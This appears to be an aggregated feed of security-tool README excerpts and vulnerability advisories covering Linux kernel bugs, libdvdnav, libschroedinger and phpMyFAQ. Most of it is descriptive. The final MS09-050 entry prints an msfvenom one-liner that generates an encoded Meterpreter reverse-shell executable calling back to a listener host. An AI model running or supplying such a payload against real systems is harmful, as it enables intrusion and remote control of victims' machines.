bomber

bomber is an application that scans SBOMs for security vulnerabilities. Overview So you've asked a vendor for an Software Bill of Materials SBOM for one of their closed source products, and they provided one to you in a JSON file... now what? The first thing you're going to want to do is see if a...

german-owasp-day

german-owasp-day German OWASP Day conference site & presentation archive You can find the page at god.owasp.de Please create a folder for each year and then point the redirect from the main index to that folder...

ecs-mapping

Corelight ECS Ingest Pipeline The repository is compromised of Ingest Pipeline files required to be used with the installer script in the repository https://github.com/corelight/ecs-templates The installer in that repository will download the files from this repository therefore using this...

dirhunt

.. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/v0.2.0/images/dirhunt.png | .. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/pip-rating-badge/pip-rating-badge.svg :target: https://github.com/Nekmo/dirhunt/actions/workflows/pip-rating.yml :alt: pip-rating badge .. image::...

getsploit

Getsploit Search and download public exploits from theVulners database — online, or fully offline from a local index. Get an API key · Vulners search · Changelog · Architecture · Security policy !Getsploit searching online, building a local FTS5 index, then searching and mirroring...

GoogleIndexRetriever

Google index Retriever Have you ever found a webpage that seems to talk exactly about what you need, but it has been removed? Yes, Google cache is the answer but... What if the cache has been removed too? What if the site is just in Google Index page? You can not get the webpage back, but you kno...

EUVD-2026-103788

In the Linux kernel, the following vulnerability has been resolved: rtc: ac100: Assign .num before accessing .hws Commit f316cdff8d67 "clk: Annotate struct clkhwonecelldata with countedby" annotated the hws member of 'struct clkhwonecelldata' with countedby, which informs the bounds sanitizer...

CVE-2026-98848

The Linux kernel contains a vulnerability in the rtc: ac100 component where the .num member of struct clk_hw_onecell_data is assigned after the first access to the .hws[] array. Due to previous annotations for UBSAN_BOUNDS , this causes an array-index-out-of-bounds report during probe with CONFIG...

CVE-2026-98848 rtc: ac100: Assign .num before accessing .hws

In the Linux kernel, the following vulnerability has been resolved: rtc: ac100: Assign .num before accessing .hws Commit f316cdff8d67 "clk: Annotate struct clkhwonecelldata with countedby" annotated the hws member of 'struct clkhwonecelldata' with countedby, which informs the bounds sanitizer...

CVE-2026-98824

The Linux kernel contains a vulnerability in the wifi: mac80211 component where the minstrel_ht_tx_status() function fails to sufficiently validate HT/VHT rate metadata. Specifically, it did not verify if the reported MCS , spatial stream count , and bandwidth were representable by the minstrel_h...

EUVD-2026-103764

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: validate TX status rate metadata minstrelhttxstatus converts the HT/VHT rate reported in a TX status into a group and rate index and uses those to index the minstrelht rate tables. The existing validation only...

CVE-2026-98824 wifi: mac80211: validate TX status rate metadata

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: validate TX status rate metadata minstrelhttxstatus converts the HT/VHT rate reported in a TX status into a group and rate index and uses those to index the minstrelht rate tables. The existing validation only...

wphardening

WPHardening Fortify the security of any WordPress installation. ❮ NOTE ❯ This tool releases new versions on a regular basis. Make sure to update your dependencies frequently to get the latest version. Check out the changelog or CHANGELOG.md to learn about the new features. Installation Installing...

CVE-2026-98601

The Linux kernel contains a vulnerability in the btintel_pcie driver where the btintel_pcie_msix_rx_handle() function fails to validate device-supplied DMA indices. A malicious or malfunctioning device can provide an out-of-range frbd_tag (a 16-bit field), leading the driver to dereference an out...

CVE-2026-112057

A flaw was found in libdvdnav. This vulnerability allows an attacker to cause a Denial of Service DoS by tricking a user into opening a specially crafted DVD or disc image. When the library parses chapters from a disc declaring an oversized title index, it performs an out-of-bounds read beyond...

EUVD-2026-103515

Schroedinger libschroedinger through 1.0.11 contains an out-of-bounds read vulnerability that allows attackers to read past a static quantiser table by supplying unvalidated wavelet filter index or transform depth values. Attackers can deliver a crafted low-delay Dirac stream with a wavelet filte...

Exploit-Index

💀 Exploit-Index: The Ultimate CVE Proof of Concept PoC & Exploit Database 150,000+ Verified Exploits & PoCs for Cybersecurity Research All In One Place Explore the Interactive Portal • View the JSON Index • Browse CVEs 📖 Abo...

CVE-2026-111906

phpMyFAQ versions prior to 4.1.9 and 4.2.0-alpha before 4.2.0-beta are vulnerable to a Cross-Site Request Forgery (CSRF) vulnerability. The flaw exists in the Elasticsearch and OpenSearch administration API endpoints because they fail to validate CSRF tokens for create , drop , and import actions...

EUVD-2026-103314

phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a cross-site request forgery vulnerability in the Elasticsearch and OpenSearch administration API endpoints, which do not validate a CSRF token for the create, drop, and import actions. Attackers can lure a user with CONFIGURATIONED...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 One liner to create/generate a payload for windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ One...